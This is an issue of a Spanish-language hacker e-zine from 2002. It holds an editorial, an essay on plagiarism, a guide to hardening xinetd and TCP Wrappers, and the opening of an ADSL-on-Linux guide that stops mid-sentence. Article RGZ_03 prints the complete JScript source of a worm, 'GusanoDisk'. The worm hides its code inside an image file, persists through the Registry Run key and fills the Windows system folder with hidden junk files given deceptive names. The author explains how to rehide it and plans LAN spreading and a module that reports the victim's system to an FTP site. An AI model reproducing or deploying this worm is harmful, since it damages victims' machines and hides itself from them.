Copy Link
Add to Bookmark
Report
RareGaZz Issue 19
o$$$$$o o$$$$o ooooooooo
$$$" $$$ $$$""$$$ "$$$$$$"
$$ o$$ . . . . o$$ $$$ . . $$$$
$$o $$ o$$$$o o$$$$o o$$$o $$$ o$$$$o $$$" o$$$$$o
$$$$$$ $$ $$$ $$ o$$ $$ $$ $$$ $$$ o$$ $$ $$$" " $$$"
$$$$$$$ "$ $$$ $$ ,$$ $$$$$$$ $$$ $$$$$ $o$$$ $$$" $$"
$$ $$$$ $$$$$$$ $$$ $$$o .. o$$ $$ o$$$$$$ $$$o o$$$
$$$ $$ o$$ $$o $$ $$ $$ $$$oo$$$ $$" "$$ o$$$$$ooo $$$" $
$$ $$$$ $$$$$$" $$$ $$$$$$ $$$$$$$ o$$$$$' o$$$$$$$o $$$$$$'
" " " " " "
<<::RareGaZz::>>
Septimo A~o .-. Cuarta Epoca .-. Numero 19
27 de Marzo del A~o 2002
'
'
'.', , ,
<:: ::>- -<:: ::>- -<:: ::>- -<:: ::>
' '
'
<<::RareGaZz::>>
: Integrantes :: :
.. .. ..
:: Angel Protector :: <-- angelprotector@hotmail.com ::
:: alt3kx_h3z :: <-- alt3kx_h3z@hotmail.com ::
:: Buanzo :: <-- buanzo@buanzo.com.ar ::
:: enan0 :: <-- beep@cerrofreeport.com ::
:: MagiCs :: <-- magics666@hotmail.com ::
:: Ocsic :: <-- pisco@private.as ::
:: ReYDeS :: <-- reydes@bigfoot.com ::
:: ^Shadown^ :: <-- Shadown@bariloche.com.ar ::
:: v1k1ng0 :: <-- v1k1ng0@softhome.net ::
:: Yo_Soy :: <-- varf@bigfoot.com ::
-::-::-::-
: Colaboradores :: :
.. .. ..
:: Active Matrix :: <-- schyzophrenia@gmx.net ::
:: Colaborador :: <-- raregazz@gmx.net ::
:: Fantasma :: <-- raregazz@gmx.net ::
:: HeX :: <-- hex@engelnet.cjb.net ::
:: :: ::
-::-::-::-
: RareGaZz :: :
.. .. ..
:: Sitio Web :: <-- http://RareGaZz.com.ar ::
:: http://RareGaZz.cjb.net ::
:: e-mail :: <-- RareGaZz@gmx.net ::
:: Lista :: <-- RareDudeZ@yahoogroups.com ::
:: IRC :: <-- /server irc.irc-hispano.org ::
:: /channel #mano_izquierda ::
<:: ::>-_-<:: ::>-_-<:: ::>-_-<:: ::>
,:' Argentina .- Chile .- Espa~a .- Mexico .- Peru .- Uruguay ,:'
------
. ,'
:.:
_Contenidos_
: :.:..:...:....:.....:......:.......:........:.........:.....: : : :::::::::
: : : :
: . Texto . . Tema . . Autor .
:
RGZ_00 Indice RareGaZz RareGaZz
RGZ_01 Editorial RareGaZz Editor
RGZ_02 Honor? Orgullo? Lo QUE? Ripeo Buanzo
RGZ_03 GusanoDisk Y v5.recover Virus HeX
RGZ_04 Inetd/Xinetd + TCP Wrappers Linux v1k1ng0
RGZ_05 ADSL y Linux Redes Active Matrix
RGZ_06 Hasta donde quieres llegar hoy? .NET Colaborador
RGZ_07 De errores se aprende... Seguridad Fantasma
RGZ_08 MSNCrack by Urville Cracking HeX
RGZ_09 Playing GDB Debug ReYDeS
RGZ_0A Sniffing con Ettercap (GNU/Linux) Sniffing Buanzo
RGZ_0B Sistemas NT Seguros? Opinion NT Angel Protector
RGZ_0C Red Cientifica Peruana y YO Cracking ReYDeS
RGZ_0D Contrase~as en Windows NT Seguridad Angel Protector
RGZ_0E Telnet Inverso Hacking ^Shadown^
RGZ_0F Pandemonium RareGaZz Rare-Team
RGZ_10 Traducciones de la Phrack Phrack Varios
RGZ_11 extract.c Utilidad Phrack
RGZ_12 Llaves pgp Private RareGaZz
RGZ_13 Despedida RareGaZz Editor
: :.:..:...:....:.....:......:.......:........:.........:.....: : : :::::::::
:,
':.
. - Morfemas... -
.
!.-...
<AngelProt> es un gusto reydes.. realmente se los extra~a!
!.-...
<Buanzo> agarramela con la mano
!.-...
<^Shadown^> este fin de semana estoy solo porque mi mujer se fue a lo del tio
que esta mal
!.-...
<enan0> tanta memoria no tengo, por mi seguridad :)
!.-...
<alt3kx> cuando puedas leer esto espero se los comentes al team
!.-...
<ocsic> fuck, otro dia madrugando
!.-...
<v1k1ng0> eso a las mujeres :)
!.-...
<MagiCs> Buanzo Antes te confundi con reydes.
!.-..
<ReYDeS> yo soy mas fotogenico, sino mirame en la web!
!.-...
<<::RareGaZz::>>
'Mas grande que sus problemas'
:.,
',
:.,. ,.. ,... ,.... ,..... ,...... ,....... ,........ ,........ ,.... ,
Advertencia
RareGaZz es una publicacion electronica de emision periodica; cuyo
contenido es la expresion de las investigaciones de sus miembros;
ya sea hecha de forma individual o grupal.
RareGaZz-Team NO se responsabiliza de la inadecuada utilizacion de
los textos presentados aqui. Asi tambien, el grupo no esta
necesariamente de acuerdo con los comentarios personales de sus
miembros.
..., ., .., ..., ...., ....., ......, ......., ........, ........, ....,
',
:
,.' Toda la informacion presentada en RareGaZz, es propiedad de los autores;
y no puede ser manipulada en parte o totalidad; sin el consentimiento de
los mismos.
':,
.'.'
Se ha omitido intencionalmente los caracteres especiales, tildes y
nuestra tan apreciada e~e. ;)
----------------------------------------------------
<<::RareGaZz::>> 1996-2002, Derechos Reservados (c)
----------------------------------------------------
FeedBack: Extraido de RareGaZz Numero 3, Seccion CTRL + ALT +DEL.
"Y Dios dijo...-QUE SE HAGA LA LUZ! Y pidio a RareTrip
que moviera el switch. Y vio Dios que la luz era buena
y separo la luz de las tinieblas.Y llamo Dios a la luz
RareGaZz y a las tinieblas lo demas..."
-Libro del Genesis, capitulo escondido.
0
<<::RareGaZz::>>
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
: : : :
RGZ_01 Editorial RareGaZz Editor
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
Llego el momento de escribir una nueva editorial. Me resulta en verdad
satisfactorio el poder plasmar la editorial de RareGaZz 19.
Desde la emision realizada en Diciembre del 2001 de RareGaZz 18, han
acontecido hechos interesantes en el grupo RareGaZz; relatarlos y detallarlos
todos, resultaria innecesario; acotare solo algunos de ellos brevemente.
La emision de RareGaZz 18, trajo consigo muestras de diversa indole, para
con la 'revivida' RareGaZz; ya que algunos consideraban a RareGaZz
'desaparecida', o desactivada. Finalmente la mayoria coincidio, en lo bueno
que resulta el hecho de que RareGaZz siga viva. Y asi es!.
Tambien tuvimos un 'inconveniente' con un texto emitido en RareGaZz 18; los
remito al texto escrito por uno de los integrantes; el cual desarrolla mas
este tema en su texto de opinion.
En esta nueva RareGaZz 19, se emiten textos de variados temas; que de seguro
atraeran el interes de muchos de ustedes. Ustedes que son nuestros mejores
criticos y colaboradores. Esperamos que la lectura de RareGaZz 19 les resulte
provechosa.
Y como todo en este mundo debe evolucionar, RareGaZz y las personas que hay
detras, tambien tienen derecho a hacerlo. Con ello no digo que RareGaZz
'desaparece'. El hecho es que el grupo RareGaZz en este momento tiene un muy
buen nivel, y es por ello que la simbiosis de conocimientos debe darse al
maximo entre integrantes y consecuentemente; en un futuro; en beneficio de
todos ustedes, nuestros lectores.
Es por ello que la emision de una futura RareGaZz 20; resulta incierta de
pronosticar. Pues como todos las personas 'normales'; los integrantes de
RareGaZz, tenemos nuestras familias, estudios superiores, trabajos personales,
etc. Y ello requiere mucho de nuestra dedicacion y tiempo.
Pero seguiremos en contacto con todos ustedes, a traves de nuestra Pagina
Web, nuestra lista RareDudeZ o directamente a nuestro e-mail. Denle un vistazo
a la seccion pandemonium.
Solo agradecer a todos ustedes por leer RareGaZz.
Grande RareGaZz... CARAJO!.
<<::RareGaZz::>>
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
: : : :
RGZ_02 Honor? Orgullo? Lo QUE? Ripeo Buanzo
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
Aunque ReYDeS ya comento este tema en la editorial, necesito expresarme un
poco al respecto. Me pongo a pensar... cual es el motivo que lleva a una
persona a copiar, en mayor o menor medida, material que un tercero haya
escrito?. Se me ocurren varias respuestas a mi propia pregunta, de entre las
cuales extraigo la siguiente, por considerarla la mas valida. Vamos, que la
polemica ya se genero, se ha hablado de 'lo bajo que RareGaZz cayo'.
Definamos los tantos: los miembros de RareGaZz, incluso los mas nuevos, como
Angel Protector y yo, que entramos al grupo justo despues de haberse
publicado la RareGaZz 18, sentimos un poco de bronca y falta de amor propio
por no haber revisado correctamente los contenidos de las colaboraciones, lo
cual llevo a esta desagradable situacion. OK. Nuestra culpa el haber
permitido que dicha colaboracion se publicase. Ahora hablemos del ripeo, de
la copia, del hecho y accion en si.
Aceptemoslo, RareGaZz es un grupo conocido, cuyos miembros, en general,
participan activamente de las listas de correo relacionadas con la seguridad
informatica. Un grupo cuyos miembros son reconocidos por la comunidad
GNU/Linux y del Software Libre en general, tanto por reportar bugs y
corregirlos, como por coordinar trabajos relacionados con la FSF/GNU, etc.
Ok, ok, que quiero decir con esto?. Que ser un 'RareGaZz' puede ser mas que
interesante para un novato, y mas. Nosotros NO consideramos que esto sea
asi. Anoten eso. Lo que SI pensamos es que ser parte del grupo no nos
transformo en QUIENES somos dentro de la comunidad. Al contrario, lo que
somos nos abrio la puerta para formar parte del RareGaZz TEAM.
Voy a hablar dos casos particulares: Angel Protector y yo, Buanzo.
Angel es un experto en sistemas Windows NT y en tecnicas de penetracion.
Entro al grupo luego de haber enviado su 'curriculum del under' como digo
yo. El fue evaluado al mismo tiempo que yo fui evaluado. En mi caso, yo
tambien enviee mi curriculum, como asi tambien la direccion de mi sitio en
Internet, mas algo de informacion adicional que no la hago entrar en el
curriculum. (Me gustaria entrar en detalle con respecto a Angel Protector,
pero no es informacion a la que yo tenga acceso, aunque podria preguntarle).
Acaso, entonces, no podria querer tomar algo de pseudo-gloria (notese el
PSEUDO) este ser humano que UTILIZO el trabajo, y el tiempo de otra persona?.
Como puede sentirse un ser humano luego de que su ERROR haya sido expuesto
de esta forma? Que pasa con el, ya tan venido abajo, honor? Y con los
valores?.
Por supuesto, aunque nos auto-hechamos un poco de culpa por no haber
verificado el material, seamos sinceros: es acaso 100% posible verificar que
el material no sea un rip de otro trabajo?. Que tan simple es dar vueltas por
todo Internet y verificar el material?. Quiza esto en verdad nos lleve a
simplemente no aceptar mas colaboraciones, excepto de contadas personas, de
prestigio o conocimientos verificables/corroborables.
O quiza habria que verificar que cada articulo este escrito con el estilo
propio de cada autor. Creo que los que hayan seguido, por ejemplo, mi
trabajo tanto en el under como en medios impresos, como en la revista Linux
USERS de MP Ediciones (Argentina), encontraran mi sello particular. Como asi
tambien podrian llegar a reconocer textos de ReYDeS! O de Aleph1.
Espero que este texto sirva para demostrar nuestra posicion respecto del
ripeo, y del profundo asco ajeno que nos provoca.
No hay mal que por bien no venga. RareGaZz podra seguir autosuperandose aun
mas facil, si cabe, gracias a este incidente.
Un abrazo a todos!
<<::RareGaZz::>>
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
: : : :
RGZ_03 GusanoDisk Y v5.recover Virus HeX
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
Codigo fuente y explicacion
Saludos, como la mayoria de los usuarios saben un gusano es un tipo
especial de virus informaticos que se duplica y crece a lo largo de
los sistemas para colapsarlos, tal cual fue el caso del gusano de
Robert Morris. El siguiente gusano que dise~e, opera bajo la mayoria
de los Windows, fue escrito en JScript. Por lo que los OS Win con
Windows Script Hosting (WSH) deben soportarlo (a partir de W98 todos
los sistemas son compatibles).
Su funcionamiento es simple, consta de dos scripts, una que es el
"instalador" (Y-OPEN) y otro es el gusano en si mismo (Y-DISK). El
Y-DISK es el que se encarga de crear archivos de sistemas que crecen
en la carpeta WINDOWS/SYSTEM o WINDOWS/SYSTEM32, dependiendo del
sistema si es 9x o NT. Estos archivos se crean con un nombre aleatorio
y empiezan a crecer conforme la sesion del usuario este activa. El
gusano Y-DISK se ejecuta desde la cadena RUN del registro de Windows.
Este es el primer codigo, Y-OPEN. El cual puede ir como un archivo JS,
WSF o inclusive como un script dentro de un documento HTML (este
ultimo puede presentar un mensaje de alerta en algunas versiones de
IE, por lo que se debe tratar con cuidado).
Y-OPEN -codigo fuente-
/* Se declaran variables y se crean los objetos WSH y FSO. Ademas se corre
la funcion 'mai' */
var ob, ws, ws2, g, g2, t, yu, ly, f, f2;
ob = new ActiveXObject("Scripting.FileSystemObject");
ws = WScript.CreateObject ("WScript.Shell");
// Aqui se obtiene la carpeta Windows\System, desde cualquier ubicacion
n = ob.GetSpecialFolder(1)+"\\";
yu = ran();
ly = n+yu+".js";
mai();
/* Esta funcion es la encargada de editar el registro e instalar el codigo en
disco */
function mai(){
// Se obtiene el valor de 'MenuShowDelay' si no es igual a auto se procede
ws2 = ws.RegRead("HKCU\\Control Panel\\Desktop\\MenuShowDelay");
if (ws2 != "auto"){
/* Se escriben las variables de RUN y 'MenuShowDelay' para que se corra el
gusano y no se vuelva a ejecutar este script */
ws.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"+yu, l
y, "REG_SZ");
ws.RegWrite("HKCU\\Control Panel\\Desktop\\MenuShowDelay", "auto", "REG_SZ");
// Se obtiene el archivo 'girl.jpg' y se lee tan solo el codigo del Y-DISK
g = ob.GetFile("girl.jpg");
f = g.OpenAsTextStream(1, -2);
g2 = f.ReadAll();
/* Esta substring (subcadena) que se obtiene de la imagen puede alterarla,
mas adelante explicare como */
g2 = g2.substring(31029, 32457);
/* Se crea un archivo con la misma ruta que se indico en el registro y se
escribe el gusano */
t = ob.OpenTextFile(ly, 2, true);
t.Write(g2);
t.Close();
// Se le otorga atributo de sistema al script del gusano
f2 = ob.GetFile(ly);
f2.attributes = f2.attributes + 4;
}
}
// Esta funcion regresa un nombre aleatorio para el script.
function ran(){
rr = new Array(15);
rr[0] ="$mstask"; rr[1] ="$command"; rr[2] ="$explorer"; rr[3] ="$alg"; rr[4]
="$logon"; rr[5] ="$ie"; rr[6] ="$icq"; rr[7] ="$win"; rr[8] ="$system"; rr[9]
="$sys"; rr[10] ="$scanreg"; rr[11] ="$yahoo"; rr[12] ="$msn"; rr[13] ="$clock
"; rr[14] ="$logger"; rr[15] ="$yl";
var irr = rr[parseInt(Math.round(Math.random()*15))];
return (irr);
}
Este primer script, por lo tanto, tan solo instala el codigo original
obteniendo a partir de la imagen. En este caso el archivo de la imagen
de Pamela Anderson es el contenedor temporal del siguiente codigo.
Puedes cambiar la imagen por la que desees, para ello tan solo abre en un
editor hexadecimal el archivo de tu imagen, anota el tama~o exacto de esta.
Al final de la imagen agregale el codigo del YL-DISK. Entonces verifica el
nuevo tama~o del archivo.
Despues en el YL-OPEN, en la variable 'g2' cuando se obtiene su subcadena,
linea 33. Edita el primer valor de 31029 por el tama~o original de tu
imagen y el valor de 32457 por el del tama~o final de la imagen. Asi, tu
codigo va a obtener la subcadena correcta de tu propia imagen.
Y-DISK -codigo fuente-
/* Se declaran las variables y se crea el objeto FSO. Ademas se procede con la
funcion 'wrote' */
var ob, f, f2, t, t2, n, w, ry0, ry1;
ob = new ActiveXObject("Scripting.FileSystemObject");
t = new Date();
t2 = t.getHours()+t.getMinutes()+t.getSeconds();
n = ob.GetSpecialFolder(1)+"\\";
wrote();
// Esta funcion crea un archivo aleatorio y escribe dentro de la funcion rew
function wrote(){
ry0 = ran();
ry1 = ran2();
w = n+ry0+t2+ry1;
f = ob.OpenTextFile(w, 2, true);
// Se puede editar el valor de 'q < 1000' y el tama~o del archivo sera mayor
for (q = 0; q < 1000; q++){rew();}
f.Close();
f2 = ob.GetFile(w);
f2.attributes = f2.attributes + 4;
}
// Esta funcion regresa un nombre de archivo aleatorio para crearse con 'wrote'
function ran(){
rr = new Array(15);
rr[0] ="mstask."; rr[1] ="command."; rr[2] ="explorer."; rr[3] ="alg."; rr[4] =
"logon."; rr[5] ="ie."; rr[6] ="leeme."; rr[7] ="win."; rr[8] ="system."; rr[9]
="sys."; rr[10] ="scanreg."; rr[11] ="icq."; rr[12] ="msn."; rr[13] ="clock.";
rr[14] ="logger."; rr[15] ="yl.";
var irr = rr[parseInt(Math.round(Math.random()*15))];
return (irr);
}
// Esta funcion crea la extension para el archivo
function ran2(){
rr2 = new Array(15);
rr2[0] =".exe"; rr2[1] =".doc"; rr2[2] =".com"; rr2[3] =".bat"; rr2[4] =".tmp";
rr2[5] =".xls"; rr2[6] =".ini"; rr2[7] =".inf"; rr2[8] =".vxd"; rr2[9] =".dll"
; rr2[10] =".htm"; rr2[11] =".cpl"; rr2[12] =".sys"; rr2[13] =".dat"; rr2[14] =
".yl"; rr2[15] =".hex";
var irr2 = rr2[parseInt(Math.round(Math.random()*15))];
return (irr2);
}
// La funcion 'rew' escribe dentro de los archivos creados
function rew(){
// Este es el encabezado que lleva el archivo, pueden cambiarlo si quieren
f.Write(":::: GusanoDisk Y v5.recover ::::");
f.Write("Creado :: "+ t2);
f.WriteBlankLines(90);
// Puedes editar el valor de Write, para agregar un mensaje personalizado
for (q = 0; q < 900; q++){f.Write("GusanoDisk Y by HeX. Gracias por sus
megabytes.");}
}
Estos son los codigos y explicaciones del funcionamiento de mi gusano,
espero que les sea util para algun proposito inofensivo. Espero
pronto tener mejoras en su codigo, proyecto YL, para que se multiple
por los usuarios de una red LAN, ademas que este disponible en otro
lenguaje de programacion, VBScript o Perl para NT.
Mi buzon esta abierto para cualquier sugerencia, error localizado o
comentario en general, escribe a hex@engelnet.cjb.net. Si lo deseas
tambien, tengo disponible un modulo de codigo para que el gusano haga
un reporte del sistema y te lo mande a un sitio ftp, ideal para conocer
el sistema anfitrion.
[ Editor: Se adjunta el archivo "cod-Y5R-hex.zip", el cual incluye los
codigos js y tambien la imagen. ]
<<::RareGaZz::>>
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
: : : :
RGZ_04 Inetd/Xinetd + TCP Wrappers Linux v1k1ng0
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
1 Introduccion
---------------
Primero que nada decir que este es el primer articulo que escribo para
RareGaZz. Como nuevo miembro del grupo queria aprovechar para dar gracias a
todos sus miembros. El motivo de escribir este articulo es debido a un trabajo
que me han pedido sobre el superdemonio en clases y queria aprovecharlo para
publicarlo en RareGaZz. A~adire el uso de TCP Wrappers y como implementarlos
con inetd.
2 Que entendemos por superdemonio?
------------------------------------
Primero que nada, me han ense~ado que cuando traduzca o haga un articulo
intente que este sea entendible para un ni~o de 4 a~os, asi que ire de menos a
mas. Empecemos explicando lo que es el superdemonio.
Todo el mundo sabe lo que es un demonio, pues este sera el "super servidor" de
todos estos o mesa de conmutadores. Proporciona acceso a los servicios de
Internet a traves de un demonio maestro. Lo que hace es escuchar en un cierto
numero de puertos e inicia demonios segun la peticion entrante que se haga al
sistema. Hara una serie de cosas antes de darle el control al demonio de la
aplicacion en cuestion. ¨Y por que necesitamos un superdemonio? Pues
principalmente porque nos va a dar un entorno mas seguro y la gestion y
configuracion de cada servicio sera mas facil.
3 Xinetd
---------
En este articulo nos centraremos en el uso de xinetd ya que es menor la gente
que lo usa. Conozco a poca gente que se pasa de inetd a xinetd, y si lo tiene
es porque ya su distribucion lo trae de serie. Veamos que ventajas nos ofrece
xinetd frente a su antecesor.
Control de acceso: Las conexiones con un host pueden ser o no permitidas en
base al dominio, nombre o direccion del host remoto y/o el tiempo de acceso.
Si queremos que xinetd haga uso de los archivos hosts.allow o hosts.deny
debemos compilar xinetd con soporte lib-wrap, recuerden esto siempre. No
recomiendo esto, ya que las posibilidades que ofrece xinetd a secas es mucho
mayor que usar inetd + tcp wrappers. Ademas, como vereis mas adelante xinetd
ofrece muchas caracteristicas avanzadas, por lo que no necesitaremos del uso
de los tcp wrappers.
Previene ataques DoS (denegacion de servicio): Xinetd es capaz de limitar el
numero de conexiones a servicios en particular.
Capacidad de registro extensa: Podemos configurar el registro para cada
servicio individualmente, incluso podemos evitar syslog escribiendo archivos
de registro directamente. Tambien tiene la capacidad de registrar intentos de
conexion fallidos y por supuesto los no fallidos asi como registrar el tiempo
de conexion y desconexion.
Redireccion de conexiones TCP a diferentes hosts: Podremos utilizar esta
caracteristica de xinetd para dar servicios desde una maquina con direccion
privada hacia Internet.
Una vez conocidas las caracteristicas que nos ofrece xinetd, veamos de donde
obtenerlo y como instalarlo. Hablare de Red Hat y Debian, en la primera a
partir de la version 7 ya viene incluido de serie, sin embargo en debian
potato 2.2 seguia viniendo inetd por defecto (por lo menos a la fecha de
escribir este articulo, digo esto por las continuas revisiones que salen para
potato, la rv5 ahora mismo). Para instalarlo es tan simple como "apt-get
install xinetd" en debian, al final os preguntara si se desea convertir el
fichero de configuracion de inetd (inetd.conf) al formato entendible por
xinetd, responder que si. De todas maneras el paquete de xinetd, que podeis
bajar de http://www.xinetd.org, trae un script en perl que permite pasar
inetd.conf al formato de xinetd. Veamos como:
./xconv.pl < inetd.conf > /etc/xinetd.conf
Si descargamos las fuentes del site especificado anteriormente su construccion
es tan simple como:
./configure
make
make install
Veamos un xinetd.conf muy basico de ejemplo:
# Listado de valores por defecto para todos los servicios.
{
# Numero maximo de peticiones que puede manipular un servicio a la vez.
instances = 25
# Tipo de registro.
log_type = FILE /var/log/servicelog
# Que registrar cuando la conexion tiene exito.
# PID registra el pid del servidor que procesa la peticion.
# HOST registra la direccion IP del host remoto.
# USERID registra el usuario remoto.
# EXIT registra el estado de salida del servidor.
# DURATION registra la duracion de la sesion.
log_on_success = HOST PID
# Si la conexion falla ... mismas opciones que arriba.
log_on_failure = HOST RECORD
# Numero maximo de conexiones de una misma direccion IP para un servicio
especifico.
per_source = 5
}
service echo
{
flags = REUSE NAMEINARGS
socket_type = stream
protocol = tcp
wait = no
user = root
type = INTERNAL
id = echo-stream
}
service ftp
{
flags = REUSE NAMEINARGS
socket_type = stream
protocol = tcp
wait = no
user = root
server = /usr/sbin/in.ftpd
server_args = in.ftpd -l -a
}
service telnet
{
flags = REUSE NAMEINARGS
socket_type = stream
protocol = tcp
wait = no
user = root
server = /usr/sbin/in.telnetd
server_args = in.telnetd
}
service imap
{
flags = REUSE NAMEINARGS
socket_type = stream
protocol = tcp
wait = no
user = root
server = /usr/sbin/imapd
server_args = imapd
}
service finger
{
flags = REUSE NAMEINARGS
socket_type = stream
protocol = tcp
wait = no
user = nobody
server = /usr/local/sbin/my_safe.fingerd
server_args = my_safe.fingerd
}
Pongamos una serie de supuestos para ver lo que debemos a~adir. Decir que los
ejemplos mostrados aqui sirven para cualquier servicio.
* Aceptar solo una conexion a la vez al ftp.
A~adir la linea:
instances = 1
* Permitir conexiones telnet solo desde direcciones de la Lan (192.168.1/24).
A~adir la linea:
only_from = 192.168.1.0/24
* Registrar todas las conexiones finger.
A~adir la linea:
log_on_success = PID HOST USERID
* Permitir un determinado horario para acceder al servicio telnet.
A~adir la linea:
access_time = hora - HORA <--- Aqui ponemos el rango que
queramos.
* Desabilitar el acceso por telnet a una maquina en particular.
A~adir la linea:
no_access = IP_de_la_maquina
* Suponiendo que el servidor imap este en otra maquina diferente a donde corre
el xinetd y queremos redireccionarlo.
A~adir la linea:
redirect = IP_de_la_maquina_con_imap PUERTO
4 Haciendo uso de TCP Wrappers
-------------------------------
Los TCP Wrappers son un mecanismo que provee un control del acceso, listas de
restricciones y registro en bitacoras para todas las peticiones de servicio a
los que protege. Puede ser usado tanto para servicios bajo TCP como UDP, pero
realmente nos seran utiles para servicios bajo TCP ya que como todos sabran
UDP no crea sesiones. El control de acceso se puede implementar segun una base
host a host y servicio a servicio. Veamos como usarlo con inetd.
# inetd.conf SIN tcp wrappers.
echo stream tcp nowait root internal
echo dgram udp wait root internal
talk dgram udp wait nobody.tty /usr/sbin/in.talkd in.talkd
ntalk dgram udp wait nobody.tty /usr/sbin/in.ntalkd in.ntalkd
finger stream tcp nowait nobody /usr/sbin/in.fingerd in.fingerd
Como ya dije antes, no podremos proteger con tcp wrappers los servidores talk
y ntalkd porque son servicios de UDP. Toquemos el finger ...
#inetd.conf CON tcp wrappers.
echo stream tcp nowait root internal
echo dgram udp wait root internal
talk dgram udp wait nobody.tty /usr/sbin/in.talkd in.talkd
ntalk dgram udp wait nobody.tty /usr/sbin/in.ntalkd in.ntalkd
finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd
Al poner /usr/sbin/tcpd le estamos diciendo que use tcp wrappers. Ahora
tendremos que tocar los archivos hosts.allow y hosts.deny:
# hosts.allow
finger : 192.168.1.0/255.255.255.0
# hosts.deny
finger : ALL
Como han visto, esto es solo un ejemplo, pero ya podeis ver como implementar
tcp wrappers con otros servicios basados en TCP. No olvidar reiniciar el
superdemonio, en este caso inetd, para que los cambios tengan efecto:
Con Red Hat: /etc/rc.d/init.d/inetd restart
Con Debian: /etc/init.d/inetd restart
5 Conclusiones finales
-----------------------
Hemos visto algunos aspectos de Xinetd, pero este es todavia mucho mas
extenso, les aseguro que posee muchas mas caracteristicas de las que aqui he
mostrado. Si quereis una maquina segura, debeis echarle un gran vistazo a
vuestro superdemonio. Mucha de la gente que lea este articulo ya sabra lo que
aqui habeis leido, pero con que a una unica persona le haya servido para algo
su lectura me sentire satisfecho.
Para cualquier duda referente a este articulo o sobre cualquier cosa que
querais preguntarme sois libre de mandarme mail.
<<::RareGaZz::>>
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
: : : :
RGZ_05 ADSL y Linux Redes Active Matrix
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
En este articulo se explicara como configurar Linux para funcionar con ADSL,
asi como tambien se describiran las caracteristicas de este servicio.
Espero sea util; ya que no encontre muchos textos sobre este tema.
____________________________________________________________________________
Indice
1. Que es ADSL?
2. Otros tipos xDSL
3. Como funciona
4. Configurando Linux
5. Configurando un Router
6. Configurando Firewalling/Masquerading
7. Referencia
____________________________________________________________________________
1. Que es ADSL?
ADSL (Asymmetric Digital Subscriber Loop) es una tecnologia de acceso
a Internet a alta velocidad que usa el mismo cable que tu servicio
telefonico.
ADSL provee velocidades de datos desde los 384kbps a 1.5Mbps, usando
diferentes velocidades para los canales upstream y downstream.
ADSL se ubicaria entre ISDN y las lineas T1, con velocidades cercanas
a las de las T1, sin el costo/complejidad/disponibilidad de las T1.
ADSL provee datos a alta velocidad y voz analoga (Datos sobre Voz);
linea digital dedicada para una conexion IP, conexion ISP dedicada
(las tan nombradas direcciones estaticas o dinamicas), puede soportar una
IP subnet (desde 1 a 254 direcciones IP, dependiendo del ISP), y menor
precio que una conexion T1.
2. Otros tipos de xDSL
DSL (Digital Subscriber Line) provee circuitos digitales desde tu casa
a las centrales de los proveedores (en Argentina: Ciudad Internet,
Advance, Impsat; este ultimo ofrece lineas PP dedicadas, satelitales, y
esta orientado casi exclusivamente a servicios para medianas y grandes
empresas) xDSL, donde x se entiende por:
· ADSL Asymmetric Digital Subscriber Line: 1.5 Mbps-384kbps/384-128kbps
· HDSL High-bit-rate Digital Subscriber Line: 1.5 Mbps/1.5 Mbps
(4Wire)
· SDSL Single-line Digital Subscriber Line: 1.5 Mbps/1.5 Mbps
(2Wire)
· VDSL Very high Digital Subscriber Line: 13 Mbps-52 Mbps/1.5 Mbps
- 2.3 Mbps.
· IDSL ISDN Digital Subscriber Line: 128 Kbps/128 Kbps.
· RADSL Rate Adaptive Digital Subscriber Line: 384 kbps/128kbps
· UDSL Universal Digital Subscriber Line: 1.0Mbps-384kbps/
384kbps-128kbps
Xbps/Ybps es X=Downstream Bit rate, Y=Upstream Bit Rate
DSL provee un canal separado para conversaciones de voz por telefono, lo
que significa llamadas analogicas (voz, fax, etc.). DSL usa un espectro de
frecuencia entre los 0-4kHz para Voz Analoga, y 4kHz-2.2MHz para datos.
Las rangos de velocidad varian segun los requerimientos:
. Residenciales Bajos:
Rangos de velocidad de 384Kbps-128Kbps, Asymetric
. Residenciales Altos o Usuario de Negocios:
Rangos de velocidad de 1.5Mbps-384Kbps, Asymetric
. Servidores
Rangos de velocidad de +2,0Mbps-1.1Kbps, Symetric
3. Como funciona?
ADSL, tal como se muestra en las Figuras 1 y 2 esta compuesto de:
. ADSL Network Termination (ANT) y Network Interface Card (NIC)
. Splitter o Dise~o Splitterless
. DSLAM y Loop de la telefonica.
. Conexion ISP
Figura 1: ADSL Diagrama de Bloque (POTS Splitter)
<-------Casa/Oficina---------------> <-----Oficina Central Tel.---->
NID
----- -----
2 cables X-----------Voz-=| S | | D |
de lineas | P | | S |=----- Switch de Voz
de telefono | L | 2 cables | L |
| I |=-------------=| A |
| T | Loop Local | M |=----- Conexion ISP
10baseT ---------- Data | T | | |
Ethernet X--=| |=----=| E | -----
o ---------- | R |
ATMF ADSL -----
NIC ANT
Figura 2: ADSL Diagrama de Bloque (Dise~o Splitterless)
<-------Casa/Oficina---------------> <-----Oficina Central Tel.---->
SNI
- -----
2 cables X-[RJ11]-----Voz----| | D |
de linea Filtro | | S |=----- Switch de voz
de telefono | 2 cables | L |
|=-------------=| A |
| Loop Local | M |=----- Conexion ISP
10baseT ---------- Data | | |
Ethernet X--=| |=-----| -----
o ----------
ATMF ADSL
NIC ANT
4. Configurando Linux
Me referire a un sistema Linux, pero puedes conectar cualquier tipo de
dispositivo 10baseT a la ANT, incluyendo un router, hub, PC o cualquier
otro sistema que quieras usar.
Sabiendo todas las medidas de seguridad que tienes/puedes tomar y que no voy
a explicar, ya que no vienen al caso; a continuacion los pasos para llevar a
cabo la configuracion.
. Instala tu tarjeta NIC en tu maquina Linux, configura el kernel, etc.
etc. Mas informacion sobre esto en el Ethernet-HOWTO.
. Configura la direccion IP, Subnet, Mask, Default Gateway e informacion
del DNS server. Cada distro de Linux (RH, Deb, Slack, S.U.S.E.) tiene una
forma diferente de hacer esto, por lo que tendras que chequear en tu
caso. Puedes tambien usar los comandos ifconfig y route. NET3-HOWTO para
mas informacion.
Una vez configurado tu sistema, si puedes hacer ping exitoso a la
